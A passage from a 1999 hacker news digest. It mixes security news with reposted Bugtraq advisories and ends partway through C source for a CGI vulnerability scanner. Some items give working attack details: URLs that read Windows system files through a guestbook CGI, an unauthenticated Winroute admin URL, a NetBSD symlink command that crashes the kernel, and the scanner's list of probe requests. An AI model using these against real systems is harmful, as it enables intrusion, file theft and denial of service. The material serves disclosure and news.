       located at http://www.zdnet.com/zdnn.
       --------------------------------------------------------------
       
       IBM says some Aptivas hit by virus
       By Joel Deane, ZDNN
       April 6, 1999 11:49 AM PT
       URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2237581,00.html
       
       IBM said Tuesday that several thousand of its Aptiva PCs have been exposed to a computer virus.
       
       IBM spokeswoman Stacy Pena said that some Aptiva PCs sold in the United States had been
       exposed to the CIH virus during the manufacturing process due to human error. 
       
       Pena said the virus was introduced to the Aptivas through test diskettes. The virus wasn't detected
       because "an individual" failed to update the anti-virus software on the server used to duplicate
       software, she said. 
       
       "What happened was a glitch in the manufacturing process. We have very high quality control,"
       Pena said. "What happened was human error." 
       
       The CIH virus is spread from one PC to another when an executable file is transferred, may render
       an infected PC inoperable when the date on the PC's internal calendar reads April 26 of any year. 
       
       Affected computers
       The company said that Aptiva PCs with model numbers 240, 301, 520 and 580 manufactured
       between March 5 and March 17, 1999, and sold in the United States, may have been exposed to the
       CIH computer virus. The affected computers have one of the following codes after "MFG DATE":
       AM909, AM910 or AM911. 
       
       All potentially affected customers who have registered their Aptiva with IBM Owner Privileges, and
       all others for whom IBM has a current, valid address, have already been contacted and will
       automatically receive an IBM Antivirus Update CD, the company said. 
       
       Retailers have also been contacted to ensure that Aptivas in stores are free of the virus.
       
       No other Aptiva models or IBM (NYSE:IBM) products are known to be affected.
       
       For more information, IBM said Aptiva owners should call the IBM HelpCenter around-the-clock at
       (800) 600-8235 or read IBM.com's update on Aptiva PCs and the CIH virus.
       
       Reuters contributed to this report.
       
       @HWA
       
 15.0  Rocketmail vulnerabilty on inactive accounts
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       Via Project Gamma http://www.projectgamma.com/
       <a href="http://www.projectgamma.com/">link</a>
       
       Rocketmail security hole

       April 12, 1999, 17:29
       Author: WHiTe VaMPiRe
   
       MAO Enterprises released a security advisory regarding Rocketmail's free Web e-mail services: 
   
       If you are aware of a login name of an account on Rocketmail which has been inactive for awhile, it is possible to reactivate the account with
       no proof that you were the original account holder. Simply supply a new password and you will have access to somebody else's "inactive"
       account. 
   
       Why is this "dangerous"? It would be possible to impersonate the original account holder without the family and friends' knowledge.
       Additionally, the original preferences of the account are preserved. This makes it extremely easy to retrieve personal data, address books,
       and various other information stored by the original user. 
   
       Related links: 
        MAO Enter http://securityhole.8m.com/              
        
        @HWA
        
 16.0  Yahoo "hack" faked?
       ~~~~~~~~~~~~~~~~~~~
       Via Project Gamma http://www.projectgamma.com/
       <a href="http://www.projectgamma.com/">link</a>
       Yahoo "hack" faked?



       Project Gamma reported on the Yahoo "hack" last month. We had several
       submissions from different people, facts added up, it  seemed legit, so
       we went with it.

       We heard from several people that it was fake but there was nothing 
       definite from either side, and the "hack" seemed feasible at the time.

       Yahoo claims that the "hack" never occured. Several of the larger "hacking" 
       groups claim that it was, in fact, faked.

       We, Project Gamma, really have no idea definitely either way. We felt that 
       it would be appropriate for us to give the public what we know, and let them
       decide for themselves.

       Was Yahoo hacked? That is up for you to decide.

       Yahoo hacked, original article. 
             http://www.projectgamma.com/news/archive/1999/march/031899-1251.html
       
       Archive of the supposed defacement. 
             http://www.projectgamma.com/hacked/yahoo.com.html

                     Regards,
                         -WHiTe VaMPiRe\Rem-
                                
 17.0  'Sorceror's Apprentice' bug in Outlook
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       From Net-Security http://www.net-security.org/
       <a href="http://www.net-security.org/">link</a>
       
       SORCERER'S APPRENTICE BUG IN OUTLOOK
       by BHZ, Wednesday 14th Apr 1999 on 9:40 pm CET
       New bug goes like this: if you have multiple e-mail accounts on the same POP3
       server and one account is set to remove mail and the other is set to leave mail on
       server, you will continue to get the same mail over and over again. Microsoft Outlook
       Express Team spoke about the mistake like - "bug in Outlook Express 5.0 interferes
       with Outlook Express' ability to determine which messages have previously been
       downloaded, resulting in multiple copies of the same message being downloaded.
       
       @HWA
       
 18.0  Aussie password thief pleads guilty
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       13/04/99 16:25 

       Net passwords thief pleads guilty 
       Roulla Yiacoumi 
      
       A man who used 37 Net account passwords to gain $50 worth of Internet
       access has pleaded guilty in a Western Australian court. 
      
       Perth resident Christopher Thomas Daniels, 20, was fined $2,500 and
       ordered to pay $500 to the ISP from which the passwords were stolen,
       Vianet. 
      
       Last month, Daniels was charged with 37 counts of unlawfully operating a
       computer system (see story). It was alleged that a juvenile supplied the
       man with 350 Internet account passwords. The accounts were all with one
       Western Australian ISP, Vianet. The juvenile, a first-time offender, has been
       referred to the Juvenile Justice Team. 
      
       Detective senior constable Mike Wheeler from the WA fraud squad said
       there had been an alarming increase in the number of young people
       becoming involved in Net-based crime. "Most of these people are normally
       law abiding, and have never been in trouble with the police in the past," he
       said. "There is a misconception you won't get caught doing this sort of thing,
       but if you are utilising telephone lines, we can always trace you back." 
      
       Wheeler said he had spoken to at least half-a-dozen other young people in
       the past week about similar matters. It is hoped the fine imposed by the
       magistrate will act as a deterrent to others. 
      
       "The message we want to get across is that this is not a fun thing -- it is very
       serious, it is an offence, and there's a high chance you're going to get
       caught," he warned.
      
                                                          
      
       This article is located at http://newswire.com.au/9904/guilty.htm 
      
       @HWA            
       
 19.0  Echelon is fishy says ACLU
       ~~~~~~~~~~~~~~~~~~~~~~~~~~
           
       Via net-security http://www.net-security.org/
       <a href="http://www.net-security.org/">link</a>
       
       ECHELON IS FISHY ACCORDING TO ACLU
       by BHZ, Monday 12th Apr 1999 on 10:00 pm CET
       The American Civil Liberties Union (ACLU) reports that ECHELON, global electronic
       communications surveillance system may be engaged in the illegal interception of
       Americans' private communications. Inquiries by the European Parliament resulted in
       reports detailing the existence of ECHELON, which is led by the NSA in conjunction
       with its counterpart agencies in England, Canada, Australia and New Zealand.
       According to the reports, ECHELON has communications receiving stations all over
       the world and attempts to capture all satellite, microwave, cellular and fiber-optic
       communications worldwide, including communications to and from North America.
       Computers then sort through conversations, faxes and emails for searching for
       keywords. Communications that include keywords chosen by the intelligence
       agencies are transcribed and forwarded for further investigation.
       
       @HWA
       
 20.0  Network-based intrusion detection systems are about to stop crying wolf
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 

       http://www.internetwk.com/story/INW19990408S0009
       Thursday, April 8, 1999, 4:33 PM ET.
       Security Mandate: Silence False Alarms
       By RUTRELL YASIN
       
       
       Network-based intrusion detection systems are about to stop crying wolf. 
       
       
       Often, these systems deliver such a high number of false positives--which
       classify an action as an intrusion when it may be legitimate--that
       computer operators ignore intrusion alarms altogether. Several network
       security vendors are responding with products that do a better job of
       filtering out false alarms from actual attacks. 
       
       
       Network Associates Inc. (NAI) this week unveiled a real-time intrusion
       detection system that correlates network- and host-based events to give IT
       managers a comprehensive view of system activity. CyberCop Monitor is a
       core component of NAI's new Active Security product line. Meanwhile, Axent
       Technologies, Cisco and Internet Security Systems (ISS) plan to deliver
       improved event correlation and filtering by year's end. 
       
       
       The improvements take intrusion detection to the next level, as more
       companies use the high-tech burglar alarms to identify attacks from
       outsiders as well as insiders. 
       
       
       IT managers looking for ways to reduce false-positive alarms cited the
       need for better event correlation. 
       
       
       Robert Kondilas, a security manager at carrier Qwest Communications, which
       uses ISS's RealSecure system, noted that a correlation engine lets IT
       administrators manage more end points in the network with fewer people. 
       
       
       Alan Paller, director of The SANS Institute, a training and consulting
       firm, said, The huge load of not-very-important alarms has caused a
       complete shift in the way people do network-based ID. He added that,
       initially, organizations think they can use intrusion detection tools to
       set off a beeper when an attack is under way, but they soon discover that
       the beeper goes off so often that they can't possibly respond to every
       alarm. 
       
       
       The false-positive problem is generally confined to network-based
       intrusion detection systems that monitor network packets for IP spoofing
       and packet-flooding attacks, rather than the host-based systems that
       monitor PC server and firewall logs for suspicious activity. 
       
       
       For example, an intrusion detection systems may confuse port scans from a
       network management tool such as Hewlett-Packard's OpenView--which employs
       SNMP-based polling and ICMP requests to discover network topology, status
       and configuration--with hacker attacks, if it is not properly tuned,
       experts said. 
       
       
       Kondilas has seen his share of false positives. He recalled a recent
       incident where the intrusion detection system appeared to be picking up
       NetBus traffic. (NetBus is a hacker program that can be used to gain
       unauthorized access to network servers.) Closer analysis of the data,
       however, revealed that a machine was transmitting legitimate data,
       according to Kondilas. 
       
       
       To avoid being overwhelmed by false alarms, IT managers at Qwest are
       documenting each false positive. By recording exactly what is happening in
       the network at the time an alarm triggered, operators can determine if
       similar events in the future are false alarms, he said. 
       
       
       Since network- and host-based systems each have strengths and weaknesses,
       some vendors are providing hybrid systems that deliver the best of both
       worlds. 
       
       
       For example, NAI's CyberCop Monitor dredges data from Windows NT event
       logs or logs from other key applications, in addition to monitoring
       network traffic coming into a server with the more classic network
       signature technique, said Gene Hodges, vice president of security product
       management at NAI. 
       
       
       If there is fragmentation of network traffic, organizations can determine
       if the cause is a hacker or a bad router, and they also can look into the
       event log to see if there is suspicious activity, Hodges said. 
       
       
       Both Axent and ISS introduced hybrid systems last year. ISS RealSecure can
       pull information from multiple network sensors and systems agents to track
       activity across a range of devices and systems. But that information is
       being sent to management consoles. ISS wants to add even more intelligence
       to the network. 
       
       
       The company plans to unveil a RealSecure fusion engine that can correlate
       events from multiple intrusion detection engines placed strategically
       throughout a network, said Mark Wood, an ISS product manager. 
       
       
       Axent and Cisco are both working to fine-tune the ability to describe
       attack signatures. 
       
       
       As in the case of antivirus software, network-based intrusion detection
       systems look for abnormal patterns in packets sent across the network,
       matching them against signatures in a database. 
       
       
       Axent plans to unveil a version of its NetProwler system that incorporates
       technology from ID-Trak, a tool the company obtained through its
       acquisition of Internet Tools earlier this year, said Scott Gordon,
       director of intrusion detection. ID-Trak lets users customize signatures
       to meet specific network requirements. 
       
       
       The product also will benefit from tighter integration with the
       IntruderAlert engine, Axent's host-based system, he added. 
       
       
       Fine-tuning attack signatures is a short-term solution for Cisco, which
       offers the NetRanger system, according to Joseph Sirrianni, a product
       marketing engineer. 
       
       
       We're constantly improving signatures because certain ones trigger false
       positives, he added. Cisco, however, declined to name which NetRanger
       signatures specifically trigger false alarms. 
       
       
       We're looking at ways of integrating certain correlation techniques, he
       said. The fruit of that labor should be incorporated in the product over
       the next six months, he added. 
       
       
       However, some experts said false positives can be reduced if users get a
       better understanding of the intrusion detection systems. 
       
       
       It's more an issue of deployment, said Mike Hagger, vice president of
       network security and disaster recovery at investment company Oppenheimer
       Funds. 
       
       
       You have to know what you're trying to validate and track, and have the
       right people analyze the data, said Hagger, who uses ISS's RealSecure. 
       
       
       Pete Cafarchio, technology program manager at the International Computer
       Security Association, recommends that users don't turn on alarming
       features until the intrusion detection system is up and running for 30
       days, By that time, they should have a better understanding of how the
       system works, he added. 
       
       
       In the future, network-based intrusion detection systems also can benefit
       from a technique called anomaly detection, which is more common in
       host-based systems, according to Cafarchio. 
       
       
       Anomaly detection helps IT managers establish a baseline of normal user
       activity so they can set up filters that trigger alerts if that activity
       changes. For instance, they might monitor a person accessing certain
       information at a certain time of the week. The problem with this technique
       is that people can deviate from normal activity, Cafarchio said. 
       
       
       -o-
       Subscribe: mail majordomo@repsec.com with "subscribe isn".
       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
       
       @HWA   
       
 21.0  MSIE5 fun
       ~~~~~~~~~
           
       Via net-security http://www.net-security.org/
       <a href="http://www.net-security.org/">link</a>
       
       
       
       HAVE FUN WITH IE 5.0
       by deepcase, Sunday 11th Apr 1999 on 8:58 pm CET
       Wanna have some fun with IE 5.0 ? Check this little text which explains how you
       have to modify the language choice of IE to have some fun with it :) Read it below .

       
       
       
       From: "Gibney, Tim" <TGIBNEY@WMDSP.COM>
       Subject: Not the place but...
       
       
       ...try it anyway.
       
               Heh...  try this in IE5.  Trust me the last part is good :)
       
               Open up IE5
               From the menu, select Tools > Internet Options > General (tab) >
       Languages (button)
               Press 'Add'
               Type: "ie-ee" (without the quotes) and click 'OK'
               Move "User Defined [ie-ee]" to the TOP of the list
               Exit back to where you can browse in IE5 again
               Click on the Search icon (to pull up the side search menu)
               Laugh at the new options
       Select 'Previous Searches'
       
       Regards,
       Tim Gibney
       
       ------------------------------------------------------------------------
       
       From: Rod Potter <rodp@YorkU.CA>
       Subject: Re: Not the place but...
       
       If you take the time to do this, don't forget to click on "Customize" also.
       More proof that MS plans to crush Mozilla ;-)
       
       @HWA         
       
 22.0  Renegade judge
       ~~~~~~~~~~~~~~
       Via net-security http://www.net-security.org/
       <a href="http://www.net-security.org/">link</a>
              
       
       RENEGADE JUDGE
       by BHZ, Sunday 11th Apr 1999 on 6:22 pm CET
       Pennsylvania Judge Joan Orie Melvin read an article on a muckraking Web site that
       accused her of unseemly political activities and she took the law in her own hands. In
       a subpoena sent to the online service AOL last month Melvin asked it to "identify the
       individual or entity who owns" the Grant Street 1999 gossip site. The American Civil
       Liberties Union has now joined the suit to oppose Melvin's request, pointing at the
       fact that anonymous speech is a right protected by the First Amendment. Contributed
       by Thejian
 
       @HWA       
       
 23.0  Webcom Guestbooks vulnerabilities
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
           
       Via net-security http://www.net-security.org/
       <a href="http://www.net-security.org/">link</a>
     
       
       WEBCOM GUESTBOOKS
       by BHZ, Saturday 11th Apr 1999 on 3:37 pm CET
       As reported on BugTraq mailing list:"Webcom's (www.webcom.se) CGI Guestbook
       (wguest.exe and rguest.exe) having a number of security problems where any text
       based file on an NT machine could be read from the file system provided the attacker
       knew the path to the file and the Anonymous Internet Account
       (IUSR_MACHINENAME on IIS) has the NTFS read right to the file in question. On
       machines such as Windows 95/98 without local file security every file is readable.
       wguest.exe is used to write to the Guestbook and rguest.exe is used to read from the
       Guestbook". You can also get some system files and even write to files from your
       browser. Pretty low security.
       
     
       Approved-By: aleph1@UNDERGROUND.ORG 
       Received: from sand4.global.net.uk (sand4.global.net.uk [194.126.80.248]) by 
                 netspace.org (8.8.7/8.8.7) with ESMTP id PAA09340 for 
                 <bugtraq@netspace.org>; Fri, 9 Apr 1999 15:50:05 -0400 
       Received: from pf2s06a06.client.global.net.uk ([195.147.214.243] helo=mercury) 
                 by sand4.global.net.uk with smtp (Exim 2.05 #2) id 10VhIP-0001aP-00; 
                 Fri, 9 Apr 1999 19:50:35 +0000 
       MIME-Version: 1.0 
       Content-Type: multipart/alternative; 
                     boundary="----=_NextPart_000_000F_01BE82C9.5E989D50" 
       X-Priority: 3 
       X-MSMail-Priority: Normal 
       X-Mailer: Microsoft Outlook Express 4.72.2106.4 
       X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 
       Message-ID: <001201be82c0$fe16a060$216610ac@mercury> 
       Date:   Fri, 9 Apr 1999 20:41:39 +0100 
       Reply-To: Mnemonix <mnemonix@GLOBALNET.CO.UK> 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: Mnemonix <mnemonix@GLOBALNET.CO.UK> 
       Subject:      Webcom's CGI Guestbook for Win32 web servers 
       X-To:         ntbugtraq@listserv.ntbugtraq.com 
       X-cc:         ntsecurity@iss.net 
       To: BUGTRAQ@netspace.org 
       
       
       I reported a while back on Webcom's (www.webcom.se) CGI Guestbook 
       (wguest.exe and rguest.exe) having a number of security problems 
       where any text based file on an NT machine could be read from the
       file system provided the attacker knew the path to the file and 
       the Anonymous Internet Account (IUSR_MACHINENAME on IIS) has the
       NTFS read right to the file in question. On machines such as 
       Windows 95/98 without local file security every file is readable.
       wguest.exe is used to write to the Guestbook and rguest.exe is 
       used to read from the Guestbook
        
       Their latest version has made this simpler: A request for 
       http://server/cgi-bin/wguest.exe?template=c:\boot.ini will return
       the remote Web server's boot.ini and 
       http://server/cgi-bin/rguest.exe?template=c:\winnt\system32\$winnt$.inf 
       will return the $winnt$.inf file.
        
       Why the developers at Webcom have not resolved this issue in their
       latest version is bordering the criminal. I received no response to
       my mail to them about this. Anybody using this Guestbook should remove
       it as soon as possible and obtain another CGI Guestbook if you really
       need one.
        
       Cheers,
       David Litchfield
        
       http://www.arca.com
       http://www.infowar.co.uk/mnemonix/
        
    
       @HWA      
       
 24.0  Achtung! No piracy here!
       ~~~~~~~~~~~~~~~~~~~~~~~~
       
       http://www.wired.com/news/news/email/explode-infobeat/culture/story/19122.html
       <a href="http://www.wired.com/news/news/email/explode-infobeat/culture/story/19122.html">Link</a>
       
       Achtung! No Piracy Here
       Reuters 

       12:20 p.m.  14.Apr.99.PDT
       Germany's music industry said Wednesday that it has new technology to 
       block recording piracy on the Internet and stem the flow of money lost
       as a result of it. 

       Thomas Stein, president of the German Phonographic Industry Association,
       said the technology includes search engines that can troll the Web, 
       ferreting out illegal music distributors. 

       Stein said his industry had lost DM20 million (US$11 million) in 1998 as
       a result of Internet piracy, twice as much as in 1997. The industry lost
       DM100 million, down 10 percent from 1997, due to the illegal copying of 
       compact discs, cassettes, and videos, he added. 

       However, companies believe that piracy over the Internet is on the verge
       of exploding, while losses due to home copying of compact discs were also
       on the rise, Stein said. 

       He said that the latter development was particularly dangerous because it
       allowed consumers to make copies of a nearly identical quality to the 
       original -- a trend he called "schoolyard piracy" owing to the youthfulness 
       of many perpetrators. 

       But he added that the industry's priority remained fighting commercial 
       exploitation of pirated music. 

       Copyright© 1999 Reuters Limited.       
       
       @HWA       
       
 25.0  Bug in Winroute 3.04g
       ~~~~~~~~~~~~~~~~~~~~~
       
       Approved-By: aleph1@UNDERGROUND.ORG 
       Received: from main.ismi.net (root@main.ismi.net [206.31.56.7]) by netspace.org 
                 (8.8.7/8.8.7) with ESMTP id AAA14480 for <bugtraq@netspace.org>; Fri, 
                 9 Apr 1999 00:36:48 -0400 
       Received: from dodds.net (tc5-44.ismi.net [207.51.197.49]) by main.ismi.net 
                 (8.8.5/8.8.5) with ESMTP id AAA13832 for <bugtraq@netspace.org>; Fri, 
                 9 Apr 1999 00:37:12 -0400 (EDT) 
       X-Mailer: Mozilla 4.51 (Macintosh; I; PPC) 
       X-Accept-Language: en 
       MIME-Version: 1.0 
       Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; 
                     x-mac-creator="4D4F5353" 
       Content-Transfer-Encoding: 7bit 
       Message-ID: <370D83EE.4B2E088C@dodds.net> 
       Date:   Fri, 9 Apr 1999 00:37:05 -0400 
       Reply-To: "Michael R. Rudel" <mrr@DODDS.NET> 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: "Michael R. Rudel" <mrr@DODDS.NET> 
       Subject:      Bug in Winroute 3.04g 
       To: BUGTRAQ@netspace.org 
       
       
       There is a bug in the remote proxy server admin part of Winroute 3.04g.
       I have tested it on an earlier release (3.04a), and that is also
       vulnerable.
       
       
       When you first access the admin proxy server, it asks for a username and
       password to authenticate to. If you hit 'cancel', one frame will come
       back as not containing any data, but the other frame will still give you
       all the buttons that you need to configure the software - giving you
       full access.
       
       
       This is a semisortakindaserious bug, as anyone using Winroute can be
       disconnected from the Internet by anyone else in the world, as they can
       authenticate to the admin proxy server without a user name and password.
       
       
       - Michael R. Rudel (mrr@mrr.cx)
       - Computer Tech
       - Pinckney Community Schools
       
     
       Approved-By: aleph1@UNDERGROUND.ORG 
       Received: from r00tshell.com (root@whitehats.com [199.181.107.23]) by 
                 netspace.org (8.8.7/8.8.7) with ESMTP id SAA18357 for 
                 <BUGTRAQ@netspace.org>; Fri, 9 Apr 1999 18:19:15 -0400 
       Received: from whitehats.com (IDENT:vision@whitehats.com [199.181.107.23]) by 
                 r00tshell.com (9.0/8.9.1) with SMTP id QAA15892; Fri, 9 Apr 1999 
                 16:12:05 -0700 (PDT) 
       MIME-Version: 1.0 
       Content-Type: TEXT/PLAIN; charset=US-ASCII 
       Message-ID: <Pine.LNX.3.96.990409160159.15851A-100000@whitehats.com> 
       Date:   Fri, 9 Apr 1999 16:12:05 -0700 
       Reply-To: Max Vision <vision@WHITEHATS.COM> 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: Max Vision <vision@WHITEHATS.COM> 
       Subject:      Re: Bug in Winroute 3.04g 
       X-To:         "Michael R. Rudel" <mrr@DODDS.NET> 
       To: BUGTRAQ@netspace.org 
       In-Reply-To:  <370D83EE.4B2E088C@dodds.net> 
       
       
       On Fri, 9 Apr 1999, Michael R. Rudel wrote:
       > There is a bug in the remote proxy server admin part of Winroute 3.04g.
       > I have tested it on an earlier release (3.04a), and that is also
       > vulnerable.
       >
       
       
       Confirmed on Winroute Pro 3.04
       http://localhost:3129/admin/config/ takes yous straight to the
       configuration options without authentication.
       
       
       If one is going to use Winroute, I highly recommend turning on the
       packet filter found at Settings -> Advanced -> Packetfilter
       
       
       An unrelated bug is that the packetfilter refuses to pass on tcp 139
       regardless of implicite configuration otherwise.
       
       
       Max
     
       @HWA       
       
 26.0  Patrol security bugs 
       ~~~~~~~~~~~~~~~~~~~~
        
       Approved-By: aleph1@UNDERGROUND.ORG 
       Received: from carabosse.oleane.net (carabosse.oleane.net [194.2.28.5]) by 
                 netspace.org (8.8.7/8.8.7) with ESMTP id GAA20879 for 
                 <bugtraq@netspace.org>; Fri, 9 Apr 1999 06:45:33 -0400 
       Received: from tom.oleane.net  (smtp.dial.oleane.com [194.2.0.54])  by 
                 carabosse.oleane.net  with ESMTP id MAA32515 for 
                 <bugtraq@netspace.org>; Fri, 9 Apr 1999 12:46:00 +0200 
       Received: from fco (dyntnt-1-046.Def.dialup.oleane.fr [195.25.5.46]) by 
                 tom.oleane.net (8.8.8/8.8.8) with ESMTP id MAA00846 for 
                 <bugtraq@netspace.org>; Fri, 9 Apr 1999 12:45:54 +0200 
       X-Mailer: Mozilla 4.0 [en] (Win95; I) 
       MIME-Version: 1.0 
       X-Priority: 3 (Normal) 
       Content-Type: text/plain; charset=us-ascii 
       Content-Transfer-Encoding: 7bit 
       Message-ID: <370DDA89.31976841@cf6.fr> 
       Date:   Fri, 9 Apr 1999 12:46:33 +0200 
       Reply-To: fcosta <fcosta@CF6.FR> 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: fcosta <fcosta@CF6.FR> 
       Subject:      Patrol security bugs 
       To: BUGTRAQ@netspace.org 
       
       
       > >        ____/   ____/  _____/
       > >       /       /      /       Security Department
       > >      /       ___/        /  Tel : +33 (0)1 41 91 39 00
       > >     /       /      /__/ /  Fax : +33 (0)1 41 91 39 99
       > >   _____/ __/     ______/
       > >
       >   ____________________________________________________
       >
       >                 Patrol Security bugs report
       >
       >   ____________________________________________________
       >
       > PROBLEM:
       >
       > The PATROL management software from BMC SOFTWARE has 3 severe bugs :
       >
       > 1) Session password encryption weakness :
       >
       > The Patrol session password is protected in a way which does not prevent
       >
       > from replay attacks. It is possible for an attacker to capture (wire
       > tapping, network sniffing...) an encrypted password and to provide it to
       > the
       > BMC API to connect to the agent. The attacker can then get a shell with
       > the
       > agent without the administrator to know it.
       >
       > 2) Patrol frames sealing :
       >
       > The algorithm used in Patrol for sealing the frames exchanged is fairly
       > weak
       > (enhanced checksum). It is thus quite easy for an attacker to build a
       > spoofing system which sends faked frames to an agent.
       >
       > 3) Service deny on UDP port :
       >
       > The UDP ports accept connexion requests and are thus exposed to
       > ping-pong
       > from another UDP port (e.g. chargen).
       >
       >   ____________________________________________________
       >
       >
       > PLATFORM:
       >
       > Patrol agent until release 3.25 on all operating systems
       >
       >   ____________________________________________________
       >
       > DAMAGE:
       >
       > You can get administrator account throught Patrol agent whithout
       > accreditation or crash system by DOS attack.
       >
       >   ____________________________________________________
       >
       > SOLUTION:
       >
       > We are actually working with BMC SOFTWARE to correct all those bugs.
       > ____________________________________________________
       >
       > For more informations, contact Frederic COSTA : e-mail: fcosta@cf6.fr
       >
       >
       >
       
       @HWA      
 
 27.0  [BUGTRAQ] kernel panic or hang in name lookup (NetBSD)      
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Approved-By: aleph1@UNDERGROUND.ORG 
       organisation: The NetBSD Foundation, Inc. 
       Message-ID: <26497.923972993@eterna.com.au> 
       Date:   Tue, 13 Apr 1999 13:09:53 +1000 
       Reply-To: matthew green <mrg@ETERNA.COM.AU> 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: matthew green <mrg@ETERNA.COM.AU> 
       Subject:      NetBSD Security Advisory 1999-008 
       X-To:         netbsd-announce@netbsd.org 
       X-cc:         tech-security@netbsd.org, current-users@netbsd.org, 
                     cert@cert.org, auscert@auscert.org.au 
       To: BUGTRAQ@netspace.org 
       
       
       -----BEGIN PGP SIGNED MESSAGE-----
       
       
                        NetBSD Security Advisory 1999-008
                        =================================
       
       
       Topic:   Kernel hang or panic in name lookup under certain circumstances
       Version:    NetBSD 1.3.X, NetBSD-current to 19990409, and
                early versions of NetBSD-1.4_ALPHA
       Severity:   In later versions of -current and in 1.4_ALPHA, unprivileged
                users can panic the system.
       
       
       
       Abstract
       ========
       
       
       Unprivileged users can trigger a file-system locking error, causing the
       system to panic or hang.  The following command sequence will trigger
       the vulnerability:
       
       
           % ln -s ./ test
           % ln -s ./ test
       
       
       
       Technical Details
       =================
       
       
       Certain kernel operations, such as creating a symbolic link, request that
       the namei() path name resolution routine not unlock the node of the
       directory containing the found file, instead returning it to the caller
       locked.
       
       
       When the found file is a symbolic link, this parent must be unlocked
       before the symbolic link is looked up. This problem results from the test
       to unlock the parent differing from the test to lock the parent. The
       difference only manifests itself in the case of a path name which ends
       with a symbolic link ending with one or more "/" characters.
       
       
       NetBSD 1.3.3 and prior hang when this bug is exercised.  NetBSD-current
       was enhanced to notice locking problems and thus panics instead of
       hanging.
       
       
       
       Solutions and Workarounds
       =========================
       
       
       There are no workarounds for this problem.  A patched kernel must be
       installed to fix this problem.
       
       
       A patch is available for NetBSD 1.3.3 which fixes this problem.  You
       may find this patch on the NetBSD ftp server:
       
       
           ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/19990412-vfs_lookup
       
       
       NetBSD-current since 19990409 is not vulnerable.  Users of NetBSD-current
       should upgrade to a source tree later than 19990409.
       
       
       
       Thanks To
       =========
       
       
       The NetBSD Project would like to thank Antti Kantee <pooka@iki.fi> and
       Matthew Orgass <darkstar@pgh.net> for providing information about this
       problem, and William Studenmund <wrstuden@netbsd.org> for providing a
       solution.
       
       
       
       Revision History
       ================
       
       
           1999/04/12 - initial version
       
       
       
       More Information
       ================
       
       
       Information about NetBSD and NetBSD security can be found at
       http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/.
       
       
       
       Copyright 1999, The NetBSD Foundation, Inc.  All Rights Reserved.
       
       
       $NetBSD: NetBSD-SA1999-008.txt,v 1.3 1999/04/12 18:58:18 mrg Exp $
       
       
       -----BEGIN PGP SIGNATURE-----
       Version: 2.6.3ia
       Charset: noconv
       
       
       iQCVAwUBNxJEUz5Ru2/4N2IFAQGjOwP/TQe7ydvPf2nMAVMoKGC9phVRylXEBF4Y
       uRarfRXHtnQXAX5HRk9CDhjrEOSk+qAqLoRS81XCsRA4wRKDRUsPpmWd8NiW5v3W
       WHrE3Iww4hn2SHGmuqtDVlb5uNRwZsq8xflL6O07xrxbTgmhYd9nSOvOKALlJw7M
       PMXTR62g7SI=
       =FAOF
       -----END PGP SIGNATURE-----
       
       @HWA
       
 28.0  cgichk1.3 scans for 41 vulnerabilities by su1d sh3ll //UnlG 1999
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       /* ---------------------------------------------------------------------- */
       /* CGI scanner v1.3, m0dify and recode by su1d sh3ll //UnlG 1999          */
       /* Tested on Slackware linux with kernel 2.0.35 and FreeBSD 2.2.2-3.1     */
       /* Source c0de by [CKS & Fdisk]                                           */
       /* Gr33tz to: r00tshell, Packet St0rm, ADM crew, ech0 security,el8.org    */
       /*            el8.org users, duke, HET2 ,#c0de                            */
       /* Fuck to: www.hackzone.ru , HDT......  CHC fuck u 2  llamas             */
       /* c0m1ng s00n: xplo1t for IIS4.0  ;-)                                    */
       /* -----------------------------------------------[13:17 07.04.99  UnlG]- */
       
       #include <fcntl.h>
       #include <sys/types.h>
       #include <sys/socket.h>
       #include <netinet/in.h>
       #include <signal.h>
       #include <stdio.h>
       #include <string.h>
       #include <netdb.h>
       #include <ctype.h>
       #include <arpa/nameser.h>
       #include <sys/stat.h>
       #include <strings.h>
       #include <stdio.h>
       #include <stdlib.h>
       #include <unistd.h>
       #include <sys/socket.h>
       
       void main(int argc, char *argv[])
       {
        int sock,debugm=0;
        struct in_addr addr;
        struct sockaddr_in sin;
        struct hostent *he;
        unsigned long start;
        unsigned long end;
        unsigned long counter;
        char foundmsg[] = "200";
        char *cgistr;
        char buffer[1024];
        int count=0;
        int numin;
        char cgibuff[1024];
        char *buff[50];    /* Don't u think 50 is enought? */
        char *cginame[50]; /* Don't u think 50 is enought? */
       
       
        buff[1] = "GET /cgi-bin/unlg1.1 HTTP/1.0\n\n";
        buff[2] = "GET /cgi-bin/phf HTTP/1.0\n\n";
        buff[3] = "GET /cgi-bin/Count.cgi HTTP/1.0\n\n";
        buff[4] = "GET /cgi-bin/test-cgi HTTP/1.0\n\n";
        buff[5] = "GET /cgi-bin/nph-test-cgi HTTP/1.0\n\n";
        buff[6] = "GET /cgi-bin/php.cgi HTTP/1.0\n\n";
        buff[7] = "GET /cgi-bin/handler HTTP/1.0\n\n";
        buff[8] = "GET /cgi-bin/webgais HTTP/1.0\n\n";
        buff[9] = "GET /cgi-bin/websendmail HTTP/1.0\n\n";
        buff[10] = "GET /cgi-bin/webdist.cgi HTTP/1.0\n\n";
        buff[11] = "GET /cgi-bin/faxsurvey HTTP/1.0\n\n";
